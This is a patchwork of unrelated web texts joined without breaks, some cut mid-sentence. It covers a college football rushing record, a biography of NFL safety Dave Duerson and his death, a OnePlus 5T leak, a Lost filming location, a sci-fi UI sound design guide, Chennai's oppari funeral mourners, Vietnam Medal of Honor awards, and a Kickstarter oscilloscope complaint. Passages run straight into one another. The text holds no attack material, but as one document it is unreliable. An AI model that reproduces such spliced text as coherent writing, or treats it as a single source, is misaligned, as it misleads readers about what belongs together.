Eric Gay / ASSOCIATED PRESS Williams on Nov. 27, 1998, shortly before the game against Texas A&M in which he broke the career rushing record.
In November 1998, Williams’ fourth year with the team, he broke Tony Dorsett’s NCAA Division I career rushing record of 6,082 yards against Texas A&M. He’d entered the game 62 yards shy of the record and said he knew it was not a matter of if, but how he’d break it during the rivalry game. With 1:45 left in the first quarter, Williams broke past the defensive line with hardly any resistance and hit the open field, sprinting 60 yards into the end zone. Williams ran for 259 total yards that day, and the Longhorns won 26–24 — the record was his, and later that season,
|
, 1960 – February 17, 2011) was an American football safety in the National Football League (NFL) who played for the Chicago Bears (1983–1989), New York Giants (1990), and Phoenix Cardinals (1991–1993). He was selected to four consecutive Pro Bowls for NFL seasons 1985 through 1988.
At age 50, Duerson died of a self-inflicted gunshot wound to the chest. Following his request, his brain was sent to the Boston University School of Medicine for research on chronic traumatic encephalopathy (CTE). Neurologists at Boston University confirmed that Duerson had CTE as a result of the concussions he suffered during his playing career.
Early life [ edit ]
Born and raised in Muncie, Indiana, Duerson played football, basketball, and baseball at Northside High School. Duerson's honors during his high school years included the 1979 Indiana Mr. Football.[1]
College career [ edit ]
Duerson played college football at the University of Notre Dame from 1979 to 1982,[2] and graduated with honors, with a BA in economics. He started all four years for the Fighting Irish, and earned recognition as an All-American in 1981 and 1982. Duerson was a captain and the team's MVP as a senior in 1982.
He was the winner of the Edward "Moose" Krause Distinguished Service Award in 1990 by the Notre Dame Monogram Club, of which he was a past president. He was also a member of the University of Notre Dame Board of Trustees from 2001 to 2005.[2]
Professional career [ edit ]
Taken in the third round of the 1983 NFL Draft by the Chicago Bears, Duerson was selected to four consecutive Pro Bowls (1986–1989). He won two Super Bowl championship rings, with the 1985 Bears (XX), and 1990 Giants (XXV). During the 1986 season, Duerson set an NFL record that stood for 19 years (Adrian Wilson, 2005) for most sacks in a season by a defensive back, with seven. He also intercepted six passes for 139 yards with a longest return of 38 yards. At season's end, Duerson was named first team All-Pro by Pro Football Weekly, the Pro Football Writers Association and The Sporting News and second team All-Pro by the Associated Press. In 1987, Duerson was the recipient of the NFL Man of the Year Award. In his 11 seasons, Duerson recorded 20 interceptions, which he returned for 226 yards, and 16 quarterback sacks. He also recovered five fumbles, returning them for 47 yards and a touchdown.
Duerson owned three McDonald's restaurants in Louisville, Kentucky for six months, from late 1994 to April 1995. He purchased the majority interest in Fair Oaks Farms (formerly Brooks Sausage Company) in 1995.[3] He sold his stake in the company in 2002 and started Duerson Foods, but that company was forced into receivership in 2006 and most of its assets were auctioned off.[4]
Death [ edit ]
Duerson was found dead at his Sunny Isles Beach, Florida[5] home on February 17, 2011. The Miami-Dade County medical examiner reported that Duerson died of a self-inflicted gunshot wound to the chest.[6] He sent a text message to his family saying he wanted his brain to be used for research at the Boston University School of Medicine, which is conducting research into chronic traumatic encephalopathy (CTE), a neurodegenerative disease, which can be caused by playing football.[7] He left behind three sons and a daughter from his marriage to ex-wife Alicia.[6]
On May 2, 2011, neurologists at Boston University confirmed that he suffered from CTE, which is linked to concussions.[8]
In popular media [ edit ]
Duerson was portrayed by actor Adewale Akinnuoye-Agbaje in the 2015 film Concussion. Duerson's family was displeased with how he was portrayed.[9] Duerson was also mentioned in the HBO series Ballers in reference to CTE with character Ricky Jerret.
See also [ edit ]Full Body Image of the OnePlus 5T Leaks Online
OnePlus is launching their new flagship smartphone, the OnePlus 5T, on November 16th with the device slated to officially go on sale five days later on November 21st. There have been a number of leaks suggesting what we can expect from the OPPO sub-brand this year and many people are looking forward to it despite their last phone just about half a year old.. While we’ve seen a couple of alleged partial renders so far, a newly leaked image claims to give us a complete look at the new smartphone in all of its glory.
Since OnePlus launched their first smartphone, there have been a few constants throughout all of their flagship smartphones. They’ve stuck with the alert slider as a way to give their users quick and easy access to the notification system. They have also kept the capacitive navigation buttons with each of their flagships even while other OEMs have dropped them from their arsenal. However, if rumors turn out to be correct, we could see the OnePlus 5T finally ditching those capacitive buttons later this month.
Our first hint of this change was from a partial render that was released last month. In it, we saw slim side bezels and a very slim bottom bezel that can be compared to the bottom bezel of the LG V30. The top and bottom bezel of OnePlus flagship smartphones have been rather large over the years so slimming down the chin of the OnePlus 5T would indicate that not only are they transitioning away from the capacitive buttons, but they’re also removing the front-facing fingerprint scanner.
Earlier this year, it was revealed that the OnePlus 5 was more or less a rebranded OPPO R11. Yes, there are some subtle changes here and there, but the core design stayed the same between the two phones. So when OPPO launched the R11s earlier this month, it led people to speculate about whether or not OnePlus would be doing the same. The leaks so far have fueled these rumors and the newly leaked image of the OnePlus 5T adds even more validity.Having found the plane's cockpit Jack, Kate and Charlie watch as the pilot is sucked from the plane by the "monster," Jack, Kate and Charlie flee into the jungle as they try to make their way back to the beach.
They are actually running through a heavily wooded area near the Turtle Bay Resort where numerous other scenes are filmed for Lost.
The Turtle Bay Resort is located near Oahu's most northerly point. You can drive northeast from Haleiwa on the Kamehameha Highway or approach it from the other direction where it is about 10 minutes past the Polynesian Cultural Center in La'ie.
If you're not a guest at the Turtle Bay Resort, you may be asked to pay a fee to park. There is a security gate that you must pass to reach the resort. They can't refuse you entrance since all beaches in Hawaii must have public access. Past the golf course and tennis courts to the left, you can spot the horse stables. After you park you'll want to head in that direction and follow the markers for the west/green trail which will take you through numerous filming locations for Lost.How do you create outstanding sci-fi UI sounds? Find out in this in-depth guide by sound designer Ruslan Nesteruk, covering everything from conceptualizing, design insights and ideas, to tools and real-life examples. And not only that: Veteran sound designers Mark Camperell, Jason Cushing and Ivo Ivanov also share their key advice on what makes for great sci-fi UI sound design, their favorite design techniques and go-to tools. Happy designing! Written by Ruslan Nesteruk, images courtesy of Nawaz Alamgir. Additional insights by Mark Camperell, Jason Cushing and Ivo Ivanov.
Written by Ruslan Nesteruk, images courtesy of Nawaz Alamgir. Additional insights by Mark Camperell, Jason Cushing and Ivo Ivanov.
With the booming development of technologies and their ubiquity in our lives, it is hard to imagine the world without the interfaces. As we are trying to keep up with the ever-expanding set of functions and information by creating new methods of control, a multitude of ordinary clicks, swipes, and scrolls inevitably finds its way into the everyday media. The science fiction genre, as the best reflection of our advancement, naturally hinges on something already existent, and takes it further, in constant attempts to ponder the future. While user interface sound design in itself is a subject no article can cover sufficiently, this article tries to discuss genre specific sound, in a way that some practices from industrial and software sound design are mentioned. Ultimately, there is no right or wrong in sci-fi sound design and the article is a collection of tips and observations shared with the community.
What sets sci-fi user interfaces apart?
The sound for sci-fi interfaces should be informative, relevant and appropriate
Despite the majority of sci-fi interfaces being based on established concepts of human interaction, sci-fi is a subgenre of Fantasy, and although it cannot offer an entirely different viewpoint on user interfaces, the range and dissimilarity of imagined controls can stretch pretty far.
This new variety of screens sliding in and out, appearing holograms, structural maps constructing in thin air, and many more others, begs to be sonified in a meaningful way. The sound, if it fits an interface function, asserts this alternate reality and further convinces viewers. Thus, there is a need to be able to adapt our knowledge of data sonification and sound generation techniques to fit the envisioned interaction of the future.
As mentioned above, the sound for sci-fi interfaces should be informative, relevant and appropriate, but what really makes sci-fi UIs stand out is the timbre and “extended” sonic analogies. Not many real life interfaces can boast organic alien gurgling or glassy granularized sound textures as a response to user control. Even then, usually there are certain analogies in these sounds that help us to make sense of all responses.
What makes for great UI sound design:
Informativeness – the choice of sound to reflect the state of an interface element, the capacity of effectively conveying the information both for visible UI element and as an auditory display. What if we have three identical buttons, but only one can backfire with a negative response to action while there is no apparent visual cue to inform us of the result of the action? Additionally, a message behind various UI sounds should be clear to others, not just sound designer.
Relevance/aesthetics — the quality of a created sound design to reflect and complement the UI visual style, the feel of it, its physical properties and dynamics. For example, a big blinky plastic knob on a derelict space ship control console would sound better with a heavier, meatier click sound that could be made from the recordings of old gear like tape machines and 35 mm cameras. On the contrary, a modern “flat” user interface would benefit from light, transparent, and often synthetic sounds. Sound can tell a lot about the object it represents.
Propriety – an important quality of any good UI sound design is in a general sense being appropriate to the environment/scene it’s in without being too obtrusive and messy. Just the right amount of sonic feedback for an interface: prioritized sounds over a meaningless barrage of beeps.
Conceptualizing:
While there are areas of sci-fi sound design that already have pretty established conventions of how they sound and are made, it is somewhat harder to pinpoint the backbone of a good sounding user interface. Apart from stereotypical beeps and bloops that have been used since around 1960s, sound design began to develop its new vocabulary to keep up with the graphics. Let’s see what goes into designing a futuristic interface and where to start.
• Priority
So, you’re tasked with creating sound for a futuristic user interface. Deciding on how important your interface sound will be depends on the medium and a setting, and from there it’s easier to estimate the overall complexity, informational density, and precision the sound design needs. Is it interactive or not? How often it is used/shown in the movie or game? How many elements does the interface have? How close can you see those elements? All these parameters help to establish the amount of priority an interface has in any given medium, and logically the amount of work.
• Structure
If the interface is visual, write down a list of elements that need sound. Note their function, size relative to other elements, how they act/move. Think how easily they can be created: is one tool enough? Will there be any organic recordings involved? This will help work out what you will need to create the sound design, so you can plan your work accordingly.
• Character
Logically, the next step is choosing the character. Is it a grungy sci-fi interface, or a sleek modern one? Is it tactile? Is it alien or human technology?
Try to match those qualities with sounds that either directly correspond or can represent them. For example, grungy abandoned spaceship console sound can be distorted, saturated, glitchy — something that is related to degradation, corrosion, and fragmentation in the audio domain. Similarly, other qualities like physicality or weight can be nuanced by varying the amount of low frequency and adding real sounds.
Examples of great sci-fi UI sound: Passengers (2016) movie One of the best set of UI sounds I’ve heard. Everything on the spaceship – from screen beeps to hall announcements – sounds clearly calm and pleasant, emphasizing that the spaceship is a high-tech cruise liner for wealthy individuals, and nothing can go wrong.
Dead Space 3 Notice how clearly the sound corresponds to appearing/dissapearing note saying “Artifact discovered”. The same goes for other game elements like activating the navigator or grabbing some ammo.
No Man’s Sky Very clean and balanced UI sound design. “Negative response” sounds are clear and the screen swipes have a perfectly fitting sound. Overall it sounds light and unobtrusive.
Deus Ex: Mankind Divided The game has great UI sound design that’s undecorated and masculine, but serves the game well.
Halo 5 The Halo series is an iconic example of science fiction: weapons, transportation, UI, and all other areas sound just like they should be. All user interfaces, either in cutscenes or in-game, are no exception. You can definitely understand and discern sounds for holograms, scanning, and any other UI action without even looking at the screen.
Designing:
If visual interface can be seen as a map, then its audio part is a language. A language full of different meanings conveyed via various prompts, confirmations, error messages and many more. As any language, UI sound design relies heavily on semantics, which can be created by either utilizing the existent analogies, or a set of new metaphors to which a viewer can be quickly and painlessly introduced. Sound designers have many sound parameters at their disposal to sculpt any noise into a meaningful representation of interface elements:
• Frequency/Pitch
• Amplitude
• Timbre
• Direction
• Positive/Negative (consonant, dissonant)
• Short and snappy or long and smooth
Any of these parameters can represent certain interface states or data changes and become that analogy. A speedometer scale goes up, and the sound goes up in pitch along with it.
Thinking of these “movements” is a good way to start sketching out your interface design
Or the wrong button is pressed and the edgy, discordant sound is spit out. Thinking of these “movements” is a good way to start sketching out your interface design. The metaphors can use any combination of the parameters, and to make sure that the interface will be understood by others, just listen to the result once again and ask yourself: “Does this sound like the target element?”
A good example of mapping sound to information would be the mining minigame in the old Mass Effect 2 game. In the game you need to find resources all around a planet and launch probes to collect them. Along with the graph that shows you the amount of four resources, the sound is used to reflect that information by using two qualities: timbre and periodicity of clicks. The timbre is used to identify which mineral you have stumbled upon, and the clicks occur faster when the amount is bigger. In this particular case the solution helps users to watch where the scanner on a planet goes without concentrating too much on the “amount graphs”.
Screenshot from the Mass Effect 2 mining minigame
A family of UI sounds: The sounds below are from Digital Rain Lab’s ‘Signal Frontiers’ library, which was made using only a few similar/related techniques to yield cohesive sonic results across hundreds of files. 0:00: initialization/open interface
0:01: computation/loading
0:03: dialog window opened
0:04: typing/pressing buttons
0:05: processing request/scanning
0:06: denial/negative response
0:07: entering the query again
0:08: operation successful
0:08: a few more button presses to close the dialog window. dialog window closes
0:10: whole interface/hologram shuts down
Let’s look at some tools that help shaping the sound:
Envelopes – one of the essential controls. An envelope is what shapes the sound over time and can be assigned to amplitude, frequency, timbre, and many more. If you already have the idea what your design should sound like, envelopes are a first stop to experiment with, and there is a good chance you will get 50% of the job done.
Filters – while you can approximate the interface “actions” with pitch and amplitude, filters are no exception in the toolbox. Sometimes it is necessary to create a sweep across the whole spectrum or give some movement to certain frequency bands. Filters work great in creating opening/closing interfaces or making scanning sounds but can be used for anything.
Modulation – another effective technique. From generating a variety of sounds with FM/AM synthesis to modifying continuous/cyclic sounds with phase and ring modulation. Equally good for spicing up the final design.
LFO – also a kind of modulation that can be applied to any parameter in your system to create cyclic variations. Extremely useful in making scanning/checking/computation sounds, basically anything continuous in nature.
Delay – from timbre-altering comb delays and sound-mutating granular delays to the nice subtle ping pong and echo delay, delay quite often is a solid inclusion in an effect chain.
Reverb – no sound should be presented without spatial information. Reverberation instantly puts a sound into an environment and makes it sound sweet and natural.
These effects and techniques can get you closer to the sound you’re after, but sci-fi is a bit like looking into the future, so sound designers are always in search for new sonic expression methods. Experiment with resynthesis, cross-convolution, stretching, and shifting — the sky is the limit (then warp drive far beyond).
Need specific sound effects? Try a search below:
A button … can be made literally out of anything: a sine tone, a recorded mouse click, a metal bang, or even a millisecond long snippet of your favorite song
As for the sound generation itself, there are no particular best techniques for making a sci-fi UI sound design. The beauty of UI sound design is that every waveform, every type of synthesis, and every recorded sound can be molded into something that works. A button, for example, can be made literally out of anything: a sine tone, a recorded mouse click, a metal bang, or even a millisecond long snippet of your favorite song. Identify the direction of your sound design, and work your way up by using particular timbres, sound textures and effects.
While it also may seem like designing interface sounds is easy, good designs are often hard to achieve. The sounds are typically short, and getting the right sound character is a bit of a challenge. Layering helps to articulate the function and enrich the tone, which may benefit the final design and its sonic uniqueness. Experiment: layer sounds with different frequency bands, add organic textures to synthetic sounds, split and add effects, etc. The ideal sound should be sophisticated but clear (sound and meaning-wise) unless the ultimate simplicity is the goal.
More UI sound design tips:
Mark Camperell UI Sound design insights from Mark Camperell from Empty Sea Audio, sound designer on countless series such as Arrow and The Flash – and creator of the Ui One library: The key to great sci-fi UI sound design: I believe that there are three keys to great sci-fi UI sounds. First, the sounds need to fit within the visual design and motion of what the audience is being presented with. Second, the sounds need to give proper feedback to the audience so they are able to better understand why the UI is behaving in such a manner. Story being of utmost importance here. Third, the sounds need to be rewarding and pleasing enough to keep the audience coming back for more. The end result of the visual and auditory experience shouldn’t feel like this department versus that department. It should feel like one complete product Great UI sounds should result in the audience never turning the sounds off. They are a part of the design of the game/film/whatever. The end result of the visual and auditory experience shouldn’t feel like this department versus that department. It should feel like one complete product. Favorite techniques and tips for creating sci-fi UI sounds: The sounds shouldn’t clash with the music, unless intended to do so in order to create a different feeling. It’s always good to create with the score or mix with the score so you can check if you have any unintended dissonance between the elements. Pitch shifting and vari-speeding can be your friend in this instance. Go-to tools for UI sound design: My absolute favorite tool is my Telecaster. It can be used to create a variety of tones, whether transient or smooth that can be easily manipulated later into something completely unique and new. The best part of using musical instruments to create sci-fi UI is that it can make it easier to tune the sounds to the key of the music. Other tools I like include synths, samplers, reverbs, eq, etc… GRM Tools is an effective plugin suite for creating sci-fi UI, as is Twisted Tools S-Layer.
Jason Cushing UI Sound design insights from Jason Cushing, co-founder of SoundMorph, makers of releases like Users of Tomorrow, Galactic Assistant and many (many) more: The key to great sci-fi UI sound design: The Sci-Fi genre has always been one of my personal favourites. Not only is it about worlds and cultures unknown, but it is also very creative. The genre itself is always pushing for new philosophies in how we view the universe, ourselves, time and space, and life in general. The key to great sci-fi UI sound design is opening up your mind to the possibilities of unknown technology It’s a vastly unlimited and creative area where there are no real absolute truths. So that leaves a world of opportunity for a sound designer to really explore things like “what would this technology sound like?” When you have that freedom, it’s exciting. So to me, the key to great sci-fi UI sound design is opening up your mind to the possibilities of unknown technology…it is whatever you want it to be, so uniqueness that might relate to the project you are working on is a key factor. Favorite techniques or tips for creating sci-fi UI sounds: When I was starting out in sound design, UI sound design seemed like this mystery thing that I just couldn’t wrap my head around. I remember thinking “how the heck do they make those sounds?!” But as I spent more time understanding sound and designing these type of things, Sci-FI Ui sound design is actually not too hard to create. It can be purely synthesized or chopped up audio, real recorded materials like glass or metal, or a combination of real life recordings and synthesis. A good place to start is to watch a large handful of your favourite sci-fi films and then start out by trying to emulate some of the sounds they made. Once you master some of that, then you will have your own sense of what you like, and can start to form your own unique sounds too. It’s like current rockstars being influenced by all of their favourite bands. They absorb that influence and then make something all their own. Go-to tools for UI sound design: Usually I gravitate towards glitchy or granular type plugins. Kyma is also a great tool if you have the time and money to learn it. The Reaktor user community is also an excellent place to start and find tools that most people don’t even use or have never heard of. There is a huge community of talented Reaktor builders making some really cool stuff. I love Glitchmachines and Twisted Tools software and Reaktor ensembles for this type of stuff. I also love “The Mangle” by Sound Guru. As far as SoundMorph goes, of course we have our Galactic Assistant standalone and Reaktor software… which is a basic Sci-fi UI designer. It was in fact the first software tool we ever made! We have talked about making a Galactic Assistant 2, with much more in-depth features for synthesis and sample use as well. So hopefully some day we can make that for you all. Ivo Ivanov UI Sound design insights from Ivo Ivanov, founder of Glitchmachines, and creator of a series of outstanding futuristic sound effects libraries: The key to great sci-fi UI sound design: For me it’s all about the details. Especially in UI design, I feel that articulation is everything. It’s not only about precision, however, because there are all types of user interfaces so when I think about UI, I think it’s crucial to consider the bigger picture. For example, you would approach an organic, physical UI much different than a synthetic, digital one. Most of all, I always consider how a UI actually works, rather than just making a cool sound to match with it So, first and foremost, it’s important to establish the aesthetic direction of the design. This allows me to determine what kinds of building blocks I will need and from there, I can begin to construct my sounds from a more mechanical standpoint. I consider all attributes of architecture and motion, and mentally dissect the respective mechanism to its core. This allows me to make critical decisions about the design, and also gives me the opportunity to take inventory of what elements need to be in the foreground, background, etc. It’s also important to be sensitive to feedback cues such as positive/negative reinforcement that may be necessitated by elements in a game, for example. Most of all, I always consider how a UI actually works, rather than just making a cool sound to match with it. Favorite techniques or tips for creating sci-fi UI sounds: I like to start with things like electromagnetic source recordings, modular synth articulations, mechanical source recordings of small motors, tools and just about any kind of device or contraption I can find or even build myself if necessary. This makes it possible to go a lot further than the typical beeps and stuff you can generate in the computer and it adds a vivid realism to the designs that I find is difficult to achieve in another way. This is my approach in general when it comes to my style of sound design; start with something that already resembles where I want to take a sound and then process, layer and sculpt my way toward the final result. You could say that this is my way of working with nature rather than against it. In that respect, I pay just as much attention to the creation and recording of the source material as I do to the processing. This is my approach in general when it comes to my style of sound design; start with something that already resembles where I want to take a sound and then process, layer and sculpt my way toward the final result Of course the key to this approach is to constantly develop my personal library of source material. I’m always listening and recording every possible resource, and I spend a lot of time on fine-tuning my Foley skills to the extent that I find it critical to be sensitive to how sounds are “performed” with objects. This is something I would recommend to any sound designer whether we’re talking UI sfx or whatever else. The cooking analogy is my favorite; you wouldn’t attempt to cook a gourmet meal for 10 guests without plenty of ingredients, so why would you try to design sounds without any source material? Of course there will be times when you must simply work from the ground up, so to speak, but this is typically not my personal approach or preference. Go-to tools for UI sound design: I try to avoid too many go-to tools in the studio in general because in my experience, this tends to be the fastest way to arrive at my comfort zone, which in turn tends to hinder my ability to create anything fresh. Instead, I like to approach new projects (time permitting, of course) in a completely clean way which starts with deciding what tools and techniques I will utilize that I haven’t used before. Naturally, it’s not possible to begin every project with a completely new set of tools, but if I’m able to introduce even one new element into my workflow, that’s typically enough to stimulate new ideas. I try to avoid too many go-to tools in the studio in general because in my experience, this tends to be the fastest way to arrive at my comfort zone, which in turn tends to hinder my ability to create anything fresh For me, this overall approach is a great way to induce some excitement into my process, because when I’m trying new things in a new context, it almost always leads to new discoveries and thus, fresh content. Additionally I try to match the scope of a project with the right tools, because it’s generally very important to consider how many sounds you have to make within a given theme. The difference between creating 10 sounds vs. 1000 sounds will certainly guide my decisions concerning which tools are going to be the best fit for a particular project. With all this in mind, I could certainly list the same old lineup of plugins and tools we all tend to use but I think the best approach is to force yourself out of your comfort zone and try something new whenever you can.
To sum up, the science fiction genre is a vast universe and user interfaces are integral to authenticity, narrative, and experience. Although the diversity of interfaces and their elements can be overwhelming and stripped of any real reference, there are proven ways to match UIs with sound, manipulating a number of sound properties and shaping with different tools. Along with adding up to the aesthetics, UI sound design also reflects information and contributes to a story, via timbre, periodicity and a range of subjective qualities. Great sci-fi UI sound is always informative, relevant, appropriate, and innovative in character. Experimentation is the key to nailing an interesting sounding user interface: synthesize, record, layer, mix, and match.
A big thanks to Ruslan Nesteruk for this sci-fi UI design guide, Nawaz Alamgir for the excellent images, and to Mark Camperell, Jason Cushing and Ivo Ivanov for their insights.
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FOLLOW OR SUBSCRIBE FOR THE LATEST IN FANTASTIC SOUND:LOW-CASTE FUNERALS IN CHENNAI ARE A COMPLEX AFFAIR, AND THERE’S A LIVING TO BE MADE FOR SOME VERY SPECIALIST PERFORMERS.
When she was a little girl, Krishnaveni would often take a rock, wrap it in cloth, and perform a funeral for it. She and her friends would gather in a circle, weep and wail, take the rock on a procession, and then sit together and eat a children’s version of a funeral feast.
While growing up in Ayodhyakuppam, one of the numerous beachside settlements of Chennai’s fishing community, this ceremony was Krishnaveni’s favourite childhood game, and her tears were always real. “My family would ask, ‘Why does this child cry all the time?’ They constantly had to calm me down.”
For her, this was nothing morbid. “I found it a happy game,” she laughs. “Fisherpeople are tamash-karan(joyous people). Other deaths are kept within and hidden, but in our community, laughter and festivity are important.”
Today, in her 60s, Krishnaveni is a professional mourner, a practitioner of an ancient singing tradition known as oppari, an art performed in order to express grief. She is part of the funerary rituals carried out for a man from the fishermen’s caste, although other castes are known to perform variants. Their songs date back centuries, probably further.
On any given day in Chennai, the sounds of robust drumming can be heard from blocks away. A lower-caste Tamil funeral procession is a public spectacle of pomp and pageantry, a performance that takes the city as its audience, merging into its traffic and dramatising its streets. The role of women is contained within the bereaved house, where after the procession, private rituals continue. From the threshold onwards, it is men’s work to take the corpse to its cremation, dancing in a frenetic style called dappankoothu, sticking out their tongues and thrusting their hips to the percussive beats of hand-held instruments. The corpse is openly displayed, sometimes even made to sit upright, as if on a throne, or with a black chicken tied to the palanquin if the cremation is on a Saturday, the day of Saniswaran or Saturn. But this is only the catalytic display: the performative elements of mourning go on for days after. By day, the professional female oppari singers sing and beat their chests to console the widow. By night, male musicians play a dynamic, percussion-based modern form known as marana gana. Music is a vital part of mourning.
For Chennai’s meenkarar (the Tamil term for fishermen), on the first and sixteenth days of mourning after a married fisherman in their community dies, the role of oppari-singing women is to perform laments for his widow.
“As long as a woman has a husband, she has respect in society,” says Krishnaveni, sitting under an umbrella on Marina Beach. “After he is gone, she has to lower her head as she walks. There is definitely less respect for a widow in our society.”
The most important ritual for the professional mourners takes place at the first dawn after the fisherman husband’s death, where Krishnaveni and her troupe of four dress the widow in a white sari, break her bangles and remove her nuptial chain, thus formalising her transition into widowhood. Songs are sung for each of these objects, as the widow is ceremonially stripped of them.
“We sing for the women, we sing for the widows,” says Anjalai, also in her 60s and one of Krishnaveni’s fellow oppari singers. “We put the ornaments of her life as a bride into a clay pot and give it to the pallbearer, who releases it into the sea.”
For the widow they sing: “Bedecked with flowers, ayyo, she looks like a goddess; beautified with turmeric, ayyo, she is a goddess. But how can she step outside the home dressed this way anymore? Ayyo, how sad to see her neck bare.”
Although she’s the youngest, Krishnaveni is the unspoken leader of a small band of professional mourners that perform at roughly 25 funerals a year. The women don’t have cellphones and don’t advertise their work. Messages are passed by word-of-mouth and the group will congregate as oppari singers only when the death of a local fisherman requires it. The rest of the time they live more or less conventional lives in Ayodhyakuppam, as grandmothers.
“We fetch water, clean the porch, wash clothes, do house chores, spend time playing dice,” says Krishnaveni.
“We took to oppari about five years ago. Before that, we sold fish … After the tsunami [that struck the Tamil Nadu coast in 2004], the fish trade changed and we began to make a loss selling fish. Oppari gives us a source of income.”
“It became difficult as we aged to jostle in the markets, too,” says Anjalai with a weary grimace.
Not just anyone can become an oppari singer. One must be a widow herself before she can enter the profession, and new singers join the troupe as older ones pass away.
The artform’s praxis is not formally taught, but handed down orally. It is mastered purely from memory and open to interpretation, and Krishnaveni and her troupe have heard the songs all their lives.
“Nobody taught us,” says Krishnaveni. “We tell the widow’s stories, we [convey] her sorrow so that her heart is satisfied. One must never keep grief within.”
Anjalai, too – she lost three children in their infancy, and one to an electric shock at the age of 25.
In one of the most visually and emotionally striking aspects of the oppari performance, the troupe moves in a circle, beating their chests in a powerfully percussive rhythm. “Ay ammaiadi (ay ammaiadi), ay appaiadi (ay appaiadi),” they chant. It is difficult, stirring, to watch – visceral in every sense. It is a potent way of bringing grief, even buried grief, to the surface.
After Krishnaveni and her troupe have completed their daytime ceremonies, the recently deceased fisherman’s body embarks on its final journey to the crematorium. Just as the oppari singers are paid to sing their morning lamentations for the widow, so are the musicians who perform gana at night. These performances are loud and festive, with male members of the community, often aided by alcohol and ganja, staying up to watch and participate in singing and rapping to the beat of handheld drums and other instruments.
Gana, a South Indian appropriation of the Hindi word for “song”, is a musical style unique to Chennai, having emerged from the city’s underbelly during the 20th century, performed only by men, mostly Dalits, and associated with liquor, ganja and gangsterism. The words are partly sung, mostly rapped, its percussive drive lending itself well to a party atmosphere. There are five strains of gana, but the one performed at funerals is marana gana, “marana” meaning death. Unlike oppari, a disquieting feminine ceremony for the widow, gana is infectious and rousing, a province of the masculine; though gana is performed for funerals of both sexes.
Marana Gana Viji, Chennai’s self-proclaimed premier marana gana musician, carries around with him a laminated book of morbid photographs of corpses, carnage and tombs; and business cards.
He says he’s performed at over 3 000 funerals and has had people become so excited by his music that they’ve offered him advances to play at their fathers’ funerals, sometimes their own. The musician has even
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G Adkins survived his injuries. Army Specialist Donald P Sloat did not. It took an act of Congress to allow each to receive the medal so many decades after the fact.
"Over the decades, our Vietnam veterans didn't always receive the thanks and respect they deserved. That's a fact," Obama said in the East Room. "But as we have been reminded again today, our Vietnam vets were patriots and are patriots."
"You served with valour, you made us proud, and your service is with us for eternity," Obama told the audience, which included Defence Secretary Chuck Hagel - himself a Vietnam veteran - and others who received the Medal of Honour after coming home from the rice paddies of Vietnam.
Drafted into the army at age 22 from his home in rural Oklahoma, Adkins was deployed three times to Vietnam with the Special Forces. He was already being recognised for actions during his second combat tour when, in 1966, a large North Vietnamese force attacked his camp.
For 38 hours, Adkins fought in close combat against enemy forces, dodging exploding mortar rounds as he dragged wounded soldiers to safety. When the order was finally given to evacuate camp, Adkins refused to leave comrades behind.
By the time he and his group made its way to the extraction point, the last evacuation helicopter had left. So Adkins led his fellow soldiers into the jungle, where they evaded enemy soldiers and even a tiger before being evacuated 48 hours later.
Adkins, now a much older version of himself and walking with a cane, stood tall in his blue uniform and epaulettes, saluting fellow troops after Obama draped the medal around his neck.
"This Medal of Honour belongs to the other 16 Special Forces soldiers with me," Adkins said after the ceremony.
Sloat was killed in action on 17 January 1970 at age 20. While on patrol, a soldier in his squad triggered a hand grenade trap that had been placed in their path by enemy forces. According to the White House, Sloat picked up the live grenade, initially to throw it away. When he realized it was about to detonate, he shielded the blast with his own body in order to save the lives of his fellow soldiers.
Sloat's brother, William, accepted the medal from the president on Monday.
The Medal of Honour is given to Armed Forces members who risk their lives in acts of great personal bravery.As some of the regular readers might know, I’m a big Kickstarter enthousiast. It doesn’t mean I blindly throw my money at every cool looking project. But I am willing to spend a fair amount of money on something promising. And although most of the time my expectations were met, once a while it simply just doesn’t work out as expected.
The SmartScope
A while ago I stumbled upon the SmartScope. Or, as the team behind it, LabNation, likes to describe it: The world’s first 100MS/s open source oscilloscope for iPad, Android and PC. A must-have for every Arduino and Raspberry Pi developer!
I didn’t yet own a oscilloscope, and although my beloved multimeter helps me out most of the time, this would be an awesome addition to my tech-workspace. Especially since the device itself is fairly small: easy to store when not in use. Granted, the SmartScope wasn’t cheap: $229,- But compared to a regular oscilloscope, it looked like a bargain. I decided to become a backer of the SmartScope Kickstarter Project.
The waiting began
As always, the waiting began. Shopping on KickStarter is fun, but you really need a lot of patience. During the waiting period, I spent many moments on Kickstarter, reading about the new toy I could look forward to. Until I discovered the fine print: “… this means the SmartScope will only be recognized in case you apply a jailbreak patch to your iOS smartphone …”
What? Why did I miss that before I became a backer? I do not want to jailbreak my iPhone or my iPad. So there was no way to use it on my touch devices. The SmartScope would only be usable on a desktop machine. This really was a bummer. The touch interface would be extremely useful. As well as the fact that I could use the iPad for electronical debugging while I use my Mac for programming.
Nevertheless, the SmartScope still had it’s benefits: a small form factor, and a easy to use interface. So I decided to stand behind my decision to be a Kickstarter backer.
Photo courtesy of LabNation
The production took nearly 8 months. Twice as long as they initially predicted. But let me clear on that: I rather receive a well produced piece of technology, in stead of a rush-job that results in a poor functioning proof of concept product.
Last week I finally received my SmartScope. Boy, did I look forward to this moment! It was hard to explain to my girlfriend what I was so excited about, but I was sure that I could explain it to her, as soon as I got it up and running.
The end of the excitement
Unfortunately, that is where all the excitement stops. After installing the SmartScope software. It became clear: in no way was this software ever developed to be a full fledged desktop application. It was merely a poorly thought thru copy of the iOS app with missing gesture support. The application misses any form of thought thru user interface. Crashes on any keypress, doesn’t respond to scroll gestures and fails on any common use-cases (like rescaling the window).
This is NOT what a resized window should look like …
I soon discovered that I wasn’t the only user running into these problems. As more users voiced their displeasure on LabNation’s forum.
Backer’s responsibilities
Now, this brings me to the point of this blogpost: What are the responsibilities of a backer on Kickstarter? Should we see ourselves as the QA-team? Are these the risks we take when we want to use bleeding edge technology? Or are we just everyday customers with the same rights, like buyer’s remorse?
Let me be clear: I do understand new project like these can have their start-up problems. But does that mean I should have another few months of patience before my $229,- piece of dust collecting metal becomes somewhat usable?
On one hand, I want to help LabNation finding the issues that cause all these bugs. But on the other hand, I think there is a big difference between minor start-up issues and straight out delivering a non-finished product.
What do you think?
